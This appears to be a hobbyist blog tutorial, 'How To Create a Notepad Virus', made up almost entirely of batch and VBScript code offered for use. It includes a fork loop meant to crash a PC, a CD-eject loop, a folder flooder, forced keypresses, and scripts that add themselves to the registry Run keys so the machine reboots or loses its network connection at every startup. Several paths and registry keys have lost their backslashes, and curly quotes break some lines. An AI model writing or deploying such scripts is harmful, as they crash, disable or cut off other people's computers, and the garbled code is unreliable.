How To Create a Notepad Virus

Notepad virus are the small dangerous batch programs that can disable firewalls, shutdown any pc, delete the windows files, etc.

First of all, you need to know about the batch file because all the notepad virus programs are run in bat format.

So, a BAT file is a disk operating system batch file that is used to execute commands with the help of the command prompt. It typically uses .bat extension to run cmd.

Now, to create a notepad virus first open the notepad application

notepad

Type the following code:

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

Now save it with .bat format (ex. notepad.bat)

save in notepad

This will pop up endless notepads until the computer crashes

popups in notepad

So same with this program you can create your own virus just you need to learn batch programming. Some virus programs are given below, you can easily run it in your system.

Popping CD Drives

This will make the CD drives constantly pop-out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

Shutdowns Computer every time

This will Shutdowns Computer every time when it is turned on

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

Disable Internet Permanently

This will disable your internet permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Check out: How To Create a Notepad Virus

Follow us on social media:

Published By: Nishant Tiwari

Hi people, I am Nishant, highly interested in ethical hacking, and cryptography since the age of 12. Though I am still learning at present, I know a few programming languages such as C, C++, and python. I am currently writing my daily blogs on this website; Also, if you have some queries, I can try to help you at my level best. For that, all you have got to do is, type a message in the comment section and I will always reach out to you no matter what. I can assure you one thing that you will still get a satisfying answer to your questions, from my side.

Leave a Reply